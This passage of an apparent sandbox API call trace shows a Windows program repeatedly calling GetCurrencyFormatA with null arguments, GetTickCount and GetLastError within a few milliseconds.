lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.086] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.086] GetTickCount () returned 0x1143073 [0029.086] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.087] GetLastError () returned 0x57 [0029.087] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.087] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.088] GetLastError () returned 0x57 [0029.088] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.088] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.089] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.089] GetTickCount () returned 0x1143073 [0029.089] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.090] GetLastError () returned 0x57 [0029.090] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.090] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.091] GetTickCount () returned 0x1143073 [0029.091] GetLastError () returned 0x57 [0029.091] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.092] GetTickCount () returned 0x1143083 [0029.092] GetLastError () returned 0x57 [0029.092] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.093] GetTickCount () returned 0x1143083 [0029.093] GetLastError () returned 0x57 [0029.093] GetCurrencyFormatA (in: 